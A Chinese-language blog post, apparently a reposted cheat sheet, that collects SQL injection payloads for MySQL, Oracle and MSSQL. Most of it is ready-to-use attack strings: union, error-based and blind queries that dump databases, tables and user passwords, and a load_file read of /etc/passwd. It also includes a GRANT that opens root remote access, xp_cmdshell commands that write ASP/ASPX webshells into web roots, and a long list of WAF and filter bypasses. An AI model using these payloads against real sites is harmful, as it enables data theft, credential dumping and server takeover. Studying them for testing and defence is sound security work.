主頁 >  其他 > 【最全干貨】SQL注入大合集

【最全干貨】SQL注入大合集

2021-04-20 10:36:11 其他

進來先點個贊,評個論,關個注唄~
獲取更多學習資料、想加入社群、深入學習,請掃我的二維碼或加Memory20000427,誠意教學,白嫖繞道,
在這里插入圖片描述

前言

SQL注入的攻擊方式根據應用程式處理資料庫回傳內容的不同,可以分為可顯注入、報錯注入和盲注,

可顯注入

攻擊者可以直接在當前界面內容中獲取想要獲得的內容,

報錯注入

資料庫查詢回傳結果并沒有在頁面中顯示,但是應用程式將資料庫報錯資訊列印到了頁面中,所以攻擊者可以構造資料庫報錯陳述句,從報錯資訊中獲取想要獲得的內容,

盲注

資料庫查詢結果無法從直觀頁面中獲取,攻擊者通過使用資料庫邏輯或使資料庫庫執行延時等方法獲取想要獲得的內容,
Mysql 手工注入
聯合注入

?id=1’ order by 4–+

?id=0’ union select 1,2,3,database()–+

?id=0’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+

?id=0’ union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=“users” --+

group_concat(column_name) 可替換為 unhex(Hex(cast(column_name+as+char)))column_name

?id=0’ union select 1,2,3,group_concat(password) from users --+

group_concat 可替換為 concat_ws(’,’,id,users,password )

?id=0’ union select 1,2,3,password from users limit 0,1–+
報錯注入

1.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));

爆庫:?id=1’ and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) – +

爆表:?id=1’ and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema=‘security’ limit 3,1),1) – +

爆欄位:?id=1’ and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) – +

爆資料:?id=1’ and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) – +

concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)
盲注

時間盲注

常用函式 sleep()

分割函式 substr、substring、left

分割函式編碼后可不用引號,ascii() hex()

一般時間盲注我們還需要使用條件判斷函式

if(expre1,expre2,expre3)

當 expre1 為 true 時,回傳 expre2,false 時,回傳 expre3

?id=1’ and if(ascii(substr(database(),1,1))>115,1,sleep(5))–+

?id=1’ and if((substr((select user()),1,1)=‘r’),sleep(5),1)–+

布爾盲注

?id=1’ and substr((select user()),1,1)=‘r’ – +

?id=1’ and IFNULL((substr((select user()),1,1)=‘r’),0) – +

//如果 IFNULL 第一個引數的運算式為 NULL,則回傳第二個引數的備用值,不為 Null 則輸出值

?id=1’ and strcmp((substr((select user()),1,1)=‘r’),1) – +

//若所有的字串均相同,STRCMP() 回傳 0,若根據當前分類次序,第一個引數小于第二個,則回傳 -1 ,其它情況回傳 1
insert,delete,update

這種注入會出現在 注冊、ip頭、留言板等等需要寫入資料的地方,如用sqlmap會產生大量垃圾資料

嘗試性插入、引號、雙引號、轉義符 \ 讓陳述句不能正常執行,然后如果插入失敗,更新失敗,然后深入測驗確定是否存在注入
二次注入和寬位元組注入

二次注入:

沒有單引號的sql陳述句中,進行16進制編碼,這樣就不會帶有單引號

寬位元組注入:

單引號轉義為 ’ , mysql 會將 \ 編碼為 %5c ,寬位元組中兩個位元組代表一個漢字,所以把 %df 加上 %5c 就變成了一個漢字“運”,從而繞過轉義
Oracle 手工注入
聯合注入

?id=-1’ union select user,null from dual–

?id=-1’ union select version,null from v$instance–

?id=-1’ union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit=3)–

?id=-1’ union select column_name,null from (select * from (select rownum as limit,column_name from user_tab_columns where table_name =‘USERS’) where limit=2)–

?id=-1’ union select username,passwd from users–

?id=-1’ union select username,passwd from (select * from (select username,passwd,rownum as limit from users) where limit=3)–
報錯注入

?id=1’ and 1=ctxsys.drithsx.sn(1,(select user from dual))–?id=1’ and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))–

?id=1’ and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit= 3))–

?id=1’ and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name =‘USERS’) where limit=3))–

?id=1’ and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))–
布爾盲注

?id=1’ and 1=(select decode(user,‘SYSTEM’,1,0,0) from dual)–

?id=1’ and 1=(select decode(substr(user,1,1),‘S’,1,0,0) from dual)–

?id=1’ and ascii(substr(user,1,1))> 64–
時間盲注

?id=1’ and 1=(case when ascii(substr(user,1,1))> 128 then DBMS_PIPE.RECEIVE_MESSAGE(‘a’,5) else 1 end)–

?id=1’ and 1=(case when ascii(substr(user,1,1))> 64 then DBMS_PIPE.RECEIVE_MESSAGE(‘a’,5) else 1 end)–
SQL手工注入
判斷注入點是否存在

數字型注入

url后輸入

and 1=1

and 1=2

如回傳不同,則可判斷注入點存在

例:

http://www.xxx.cn/news.php?p=1&id=4’ 回傳錯誤

http://www.xxx.cn/news.php?p=1&id=4 and 1=1 回傳正確

http://www.xxx.cn/news.php?p=1&id=4 and 1=2 回傳錯誤

字符型注入

url后輸入

’ and 1=1 and ‘1’='1

’ and 1=2 and ‘1’='1

http://www.xxx.cn/news.php?p=1&id=4’ 回傳錯誤

http://www.xxx.cn/news.php?p=1&id=4’ and 1=1 and ‘1’='1 回傳正確

http://www.xxx.cn/news.php?p=1&id=4’ and 1=2 and ‘1’='1 回傳錯誤

搜索型注入

輸入框中輸入

’ 回傳錯誤

x%’ and 1=1 and ‘%’=’ 回傳正確

x%’ and 1=2 and ‘%’=’ 回傳錯誤
判斷欄位數

數字型

http://www.xxx.cn/news.php?p=1&id=4 order by 26 回傳正確

http://www.xxx.cn/news.php?p=1&id=4 order by 27 回傳錯誤

得出結論:欄位數26,

字符型

http://www.xxx.cn/news.php?p=1&id=4’ order by 26 # 回傳正確

http://www.xxx.cn/news.php?p=1&id=4’ order by 27 # 回傳錯誤

得出結論:欄位數26,

搜索型

x%’ order by 26 # 回傳正確

x%’ order by 27 # 回傳錯誤

得出結論:欄位數26,
尋找可顯示欄位

數字型

http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,2,3,4,5,6,7,8,9,…

字符型

http://www.xxx.cn/news.php?p=1&id=4’ and 1=2 union select 1,2,3,4,5,6,7,8,9,… #

搜索型

x%’ and 1=2 union select 1,2,3,4,5,6,7,8,9,… #
查資料庫名

數字型

http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,2,database(),4,5,6,7,8,9,…

字符型

http://www.xxx.cn/news.php?p=1&id=4’ and 1=2 union select 1,2,database(),4,5,6,7,8,9,… #

搜索型

x%’ and 1=2 union select 1,2,database(),4,5,6,7,8,9,… #
查資料庫中表名

數字型

http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=‘資料庫名’

資料庫名也可以使用十六進制

字符型

http://www.xxx.cn/news.php?p=1&id=4’ and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=‘資料庫名’ #

資料庫名也可以使用十六進制

搜索型

X%’ and 1=2 union select 1,2,group_concat(table_name),4,5,6,7,8,9,… from information_schema.tables where table_schema=‘資料庫名’ #

資料庫名也可以使用十六進制
查表中的列名

數字型

http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name=‘表名’

表名也可以使用十六進制

字符型

http://www.xxx.cn/news.php?p=1&id=4’ and 1=2 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name=‘表名’ #

表名也可以使用十六進制

搜索型

x%’ and 1=2 union select 1,2,group_concat(column_name),4,5,6,7,8,9,… from information_schema.columns where table_name=‘表名’ #

表名也可以使用十六進制
查表中的資料

數字型

http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,group_concat(username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from 表名

字符型

http://www.xxx.cn/news.php?p=1&id=4’ and 1=2 union select 1,group_concat(username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from 表名 #

搜索型

x%’ and 1=2 union select 1,2,group_concat(username,password),4,5,6,7,8,9,… from 表名 #

顯示版本:select version();

顯示字符集:select @@character_set_database;

顯示資料庫show databases;

顯示表名:show tables;

顯示計算機名:select @@hostname;

顯示系統版本:select @@version_compile_os;

顯示mysql路徑:select @@basedir;

顯示資料庫路徑:select @@datadir;

顯示root密碼:select User,Password from mysql.user;

開啟外連:GRANT ALL PRIVILEGES ON . TO ‘root’@’%’ IDENTIFIED BY ‘123456’ WITH GRANT OPTION;
MySQL函式利用

MySQL提供了load_file()函式,可以幫助用戶快速讀取檔案,但是檔案位置必須在服務器上,檔案路徑必須為絕對路徑,而且需要root權限

SQL陳述句如下: union select 1,load_file(‘/etc/passwd’),3,4,5 #

通常,一些防注入陳述句不允許單引號的出現,那么可以使用一下陳述句繞過:

union select 1,load_file(0x272F6574632F70617373776427),3,4,5 #

對路徑進行16進制轉換,
MSSQL手工注入

與SQL注入不同的是,SQL利用的爆出顯示的欄位,MSSQL利用的報錯注入,插入惡意的sql陳述句,讓查詢報錯,在報出的錯誤中,顯示我們想要的資訊,

注入點:

www.xxx.cn/xxx/xxx.aspx?id=1
查詢資料庫版本

@@version:MSSQL全域變數,表示資料庫版本資訊,

測驗陳述句:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and @@version>0

注意:“and @@vsersion>0”也可以寫成“and 0/@@version>0”

報錯資訊:

在將 nvarchar 值 ‘Microsoft SQL Server 2008 R2 (SP3) - 10.50.6000.34 (X64) Aug 19 2014 12:21:34 Copyright ? Microsoft Corporation Enterprise Edition (64-bit) on Windows NT 6.1 <X64 (Build 7601: Service Pack 1) (Hypervisor)‘ 轉換成資料型別 int 時失敗,

原因:

@@version是MSSQL的全域變數,如果我們在“?id=1”后面加上“and @@version>0”,那么“and”后面的陳述句會將“@@version”強制抓換成int型別與0比較大小,但是型別轉換失敗,所以就將資料庫資訊暴露出來,
查詢計算機名稱

@@servername:MSSQL全域變數,表示計算機名稱,

報錯資訊:

在將 nvarchar 值 ‘WINDOWS-XXXXXX‘ 轉換成資料型別 int 時失敗,
查詢當前資料庫名稱

db_name():當前使用的資料庫名稱,

報錯資訊:

在將 nvarchar 值 ‘abc‘ 轉換成資料型別 int 時失敗,
查詢當前連接資料庫的用戶

User_Name():當前連接資料庫的用戶,

報錯資訊:

在將 nvarchar 值 ‘dbo‘ 轉換成資料型別 int 時失敗,

注意: 如果看到dbo,那么多半當前資料庫的用戶是dba權限,
查詢其他資料庫名稱

爆其他資料庫:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (SELECT top 1 Name FROM Master…SysDatabases)>0

報錯資訊:

在將 nvarchar 值 ‘master‘ 轉換成資料型別 int 時失敗,

再爆其他的資料庫則這么寫:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (SELECT top 1 Name FROM Master…SysDatabases where name not in (‘master’))>0

繼續的話要這么寫:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (SELECT top 1 Name FROM Master…SysDatabases where name not in (‘master’,‘abc’))>0
查詢資料庫中的表名

查表名:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 name from abc.sys.all_objects where type=‘U’ AND is_ms_shipped=0)>0

報錯資訊:

在將 nvarchar 值 ‘depart‘ 轉換成資料型別 int 時失敗,

再爆其他表:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 name from abc.sys.all_objects where type=‘U’ AND is_ms_shipped=0 and name not in (‘depart’))>0

再繼續:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 name from abc.sys.all_objects where type=‘U’ AND is_ms_shipped=0 and name not in (‘depart’,‘worker’))>0
查詢表中的列名或者是欄位名

查欄位名:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 COLUMN_NAME from abc.information_schema.columns where TABLE_NAME=‘depart’)>0

報錯資訊:

在將 nvarchar 值 ‘ID‘ 轉換成資料型別 int 時失敗,

再爆其他欄位:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 COLUMN_NAME from abc.information_schema.columns where TABLE_NAME=‘depart’ and COLUMN_NAME not in(‘ID’))>0

再繼續:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 COLUMN_NAME from abc.information_schema.columns where TABLE_NAME=‘depart’ and COLUMN_NAME not in(‘ID’,‘NAME’))>0
爆資料

查詢資料:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 password from depart)>0

報錯資訊:

在將 nvarchar 值 ‘B5A1EF8730200F93E50F4F5DEBBCAC0B‘ 轉換成資料型別 int 時失敗,
寫入一句話木馬

如果資料的權限是dba,且知道網站絕對路徑的話,那么我們就可以用這個陳述句來寫一句話木馬進去:

asp木馬:

http://www.xxx.cn/xxx/xxx.aspx?id=1;exec master…xp_cmdshell ‘echo "<%@ LANGUAGE=VBSCRIPT %>;<%eval request(chr(35))%>’’" > d:\KfSite\kaifeng\2.asp’–

aspx木馬:

http://www.xxx.cn/xxx/xxx.aspx?id=1;exec master…xp_cmdshell ‘echo "<%@ LANGUAGE=Jscript %>;<%eval(Request(“sb”),“unsafe”)%>’’" >C:\inetpub\wwwroot\2.aspx’ –

原理是sql server支持堆疊查詢,利用xp_cmdshell可以執行cmd指令,cmd指令中用【echo 內容 > 檔案】可以寫檔案到磁盤里面,
利用hex編碼繞過WAF

http://www.xxx.com/xxx/xxx.aspx?username=xxx 利用火狐瀏覽器中的hackbar工具的Encoding底下的“HEX Encoding”輕松把字串編碼成為可以利用的hex,然后利用報錯注入就可以注入這個網站,
爆資料庫版本

select convert(int,@@version)

hex編碼后:0x73656c65637420636f6e7665727428696e742c404076657273696f6e29

然后使用如下方式注入:

http://www.xxx.com/xxx/xxx.aspx?username=xxx’;dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 eXeC(@s)–

報錯資訊:

在將 nvarchar 值 ‘Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64) Apr 2 2010 15:48:46 Copyright ? Microsoft CorporationStandard Edition (64-bit) on Windows NT 6.1 (Build 7601: Service Pack 1) (Hypervisor)‘ 轉換成資料型別 int 時失敗,

注意后面的注入陳述句:

dEcLaRe @s vArChAr(8000) //宣告一個區域變數@s,型別為varchar(8000)

sEt @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 //給@s賦值,為“select convert(int,@@version)”的十六進制編碼

eXeC(@s) //呼叫函式exec()執行“@s”中的內容,
爆當前資料庫

select convert(int,db_name())
爆當前用戶

select convert(int,User_Name())
爆表

select convert(int,(select top 1 name from abc[資料庫名].sys.all_objects where type=’U’ AND is_ms_shipped=0)) select convert(int,(select top 1 name from abc[資料庫名].sys.all_objects where type=’U’ AND is_ms_shipped=0 and name not in (‘CMS_ArticleClass’)))
爆欄位

select convert(int,(select top 1 COLUMN_NAME from abc[資料庫名].information_schema.columns where TABLE_NAME=’CMS_Userinfo[表名]’)) select convert(int,(select top 1 COLUMN_NAME from abc[資料庫名].information_schema.columns where TABLE_NAME=’CMS_Userinfo[表名]’ and COLUMN_NAME not in (‘id’)))
爆資料

select convert(int,(select top 1 username from CMS_Admin)) select convert(int,(select top 1 password from CMS_Admin))
SQL注入之你問我答小知識

1.id-1,頁面如果回傳正確頁面說明是有注入,那+1可以嗎?(www.test.com/xsn.php?id=12+1)

不行,因為加號在url里面是空格的意思,

2.你知道mysql里有幾種注釋方式嗎?

三種:①.# 這個注釋直到該行結束;②./注釋多行/;③.–+ 這個注釋直到該行結束,

第三種需要解釋一下,因為之前我不知道這個方法,說‘–’是注釋符我還大概有印象,但是–+就懵,其實是– ,注意–的后面有一個空格,但是在url里你直接空格會被瀏覽器直接處理掉,就到不了資料庫里,所以特意用加號代替,

3.“select select * from admin”可以執行嗎?倘若不可以請說明,

不可以執行,在使用select雙層的時候要把第二個括起來,否則無效,

4.倘若空格過濾了,你知道有哪些可以繞過嗎?或者說你知道哪些可以替代空格嗎?這些是空字符,比如un%0aion會被當做union來處理, 假如空格被過濾了,可能的sql陳述句就會變成:select from messages where uid=45or1=1,我們可以使用//來替換空格: http://www.xxx.com/index.php?id=45//or/**/1=1 另外: %09 %0A %0D + /|–|/ /@–|/ /?–|/ /|%20–%20|/ 都可以替代空格,

5.Windows下的Oracle資料庫是什么權限? Windows下的Oracle資料庫,必須以system權限運行,

6.SQL注入和SQL盲注有何差別?

在常規的SQL注入中,應用回傳資料庫中的資料并呈現給你,而在SQL盲注漏洞中,你只能獲取分別與注入中的真偽條件相對應的兩個不同回應,應用會針對真偽條件回傳不同的值,但是攻擊者無法檢索查詢結果,

7.什么是引發SQL注入漏洞的主要原因?

Web應用未對用戶提供的資料進行充分審查和未對輸出進行編碼是產生問題的主要原因,

8.什么是堆疊查詢(stacked query)?

在單個資料庫連接中,執行多個查詢序列,是否允許堆疊查詢是影響能否利用SQL注入漏洞的重要因素之一,

在MYSQL中,SELECT * FROM members; DROP members;是可以執行的,資料庫是肯定支持堆疊查詢的,但是讓php來執行堆疊查詢的sql陳述句就不一定行了,

/*! … */

是啥意思?

MYSQL資料庫特有,如果在注釋的開頭部分添加一個感嘆號并在后面跟上資料庫版本編號,那么該注釋將被決議成代碼,只要資料庫版本高于或者等于注釋中包含的版本,代碼就會被執行,

select 1 /!40119 + 1/

該查詢結果:

回傳2(MySQL版本為4.01.19或者更高)

回傳1(其他情況)

10.如果注入陳述句中的‘=’被過濾?

可以考慮使用like關鍵字替換:union select password from users where username like admin;

11.如果空格被過濾? 可以考慮使用‘/**/’替換:

union//select//password//from//users//where//username//like//admin;

注意,如果過濾了關鍵字,在MySQL中,還可以在關鍵字內部使用行內注釋來繞過:

uni//on//sel//ect//password//fr//om//users//wh//ere//username//like//admin;

12.SQL注入中的‘+’?

MSSQL:在MSSQL中,“+”運算子被用于字串連接和加法運算,‘1’+‘1’=‘11’,1+1=2;

MySQL:在MySQL中,“+”運算子只被用于加法運算,‘1’+‘1’=‘2’,1+1=2;

Oracle:在Oracle中,“+”運算子只被用于加法運算,‘1’+‘1’=‘2’,1+1=2,

13.資料庫中字串的連接符?

MSSQL:‘a’+‘b’=‘ab’

MYSQL:‘a’ ‘b’=‘ab’

Oracle:‘a’||‘b’=‘ab’

14.注釋符

MSSQL:‘-- ’(注意后面的空格),‘/…/’

MySQL:‘-- ’,‘# ’,‘/…/’,注意,–后面必須要有一個或者多個空格,

Oracle:‘-- ’,‘/…/’

三種資料庫中,通用的注釋符是‘-- ’
WAF繞過
規則層面的繞過
SQL注釋符繞過

union/**/select

union/aaaa%01bbs/select

union/aaaaaaaaaaaaaaaaaaaaaaaaaaaa/select

內連注釋:/!xxxx/
空白符號繞過:

MySQL空白符:%90,%0A,%0B,%0D,%20,%0C,%A0,/xxx/

正則的空白符:%09,%0A,%0B,%0D,%20

Example-1:union%250Cselect

Example-1:union%25A0select
函式分隔符號:

concat%2520(

concat/**/(

concat%250c(

concat%25a0(
浮點數詞法分析:

select * from users where id=8E0union select

1,2,3,4,5,6,7,8,9,0

select * from users where id=8.0union select

1,2,3,4,5,6,7,8,9,0

select * from users where id=\Nunion select

1,2,3,4,5,6,7,8,9,0
利用error_based進行SQL注入:

Error-based SQL注入函式非常容易被忽略

extractvalue(1,concat(0x5c,md5(3)));

updatexml(1,concat(0x5d,md5(3)),1);

GeometryCollection((select * from (select * from

(select@@version)f)x))

polygon((select*from (select name_const(version(),1))x))

linestring()

multipoint()

multilinestring()

multipolygon()
MySQL特殊語法

select{x table_name}from{x information_schema.tables};
每一個點都能找到繞過的方法

以注釋繞過為例子,開始Fuzz

注釋符繞過:

*先測驗最基本的: union/**/select

*再測驗中間引入特殊字:union/aaaa%01bbs/select

*最后測驗注釋長度:union/aaaaaaaaaaaaaaaaaaaaaaa/select

最基本的模式:

union/something/select
大小寫繞過

如果程式中設定了過濾關鍵字,但是過濾程序中并沒有對關鍵字組成進行深入分析過濾,導致只對整體進行過濾,

例如:and過濾,當然這種過濾只是發現關鍵字出現,并不會對關鍵字處理,可以通過修改關鍵字的內字母大小寫來繞過過濾措施,
常規繞過手段
雙寫繞過

如果在程式中設定出現關鍵字之后替換為空,那么SQl注入攻擊也不會發生,對于這樣的過濾策略可以使用雙寫繞過,因為在過濾程序中只進行了一次替換,

例如:過濾了union 只要發現union 無論大小寫都會被替換為空,這是就可以通過雙寫uniunionon的寫法來對過濾進行繞過,
編碼繞過

可以利用網路中的URl在線編碼,繞過SQL注入的過濾機制,

http://tool.chinaz.com/Tools/urlencode.aspx 1
行內注釋繞過

在Mysql中內容注釋中的內容可以被當做SQL陳述句執行,
繞過過濾and和or的SQL注入

Mysql一些特性:

1、Mysql中的大小寫不敏感,大寫和小寫一樣,

2、Mysql中的十六進制與URL編碼,

3、符號和關鍵字替換 and --> &&、or --> ||

4、行內注釋與多行注釋 /!行內注釋/ /多行注釋/,

5、Mysql中會自動識別URL與Hex編碼好的內容,

繞過策略:

1、大小寫變形,or,OR,oR,Or,and,And,AND,aND等,

2、在這兩個敏感詞匯中添加注釋,例如:a/**/and 雙寫:oorr

3、利用符號替代 and–>&&、or–>||
繞過去除空格的SQL注入

編碼:hex,urlencode

空格URL編碼:

%0a 新建一行

%0c 新的一頁

%0d return功能

%0b TAB鍵(垂直)

Sqlmap安全檢測:

sqlmap -u “URL” --hex --dbs --batch
繞過去除(union和select)的SQL注入

編碼%0a、加入/**/符,union/select大小寫、雙寫等繞過,

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/278023.html

標籤:其他

上一篇:執行緒安全你不會,你面試,你怎么敢的呀,細到恐怖.......

下一篇:Web安全滲透詳細教程+學習線路+詳細筆記【全網最全+建議收藏】

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

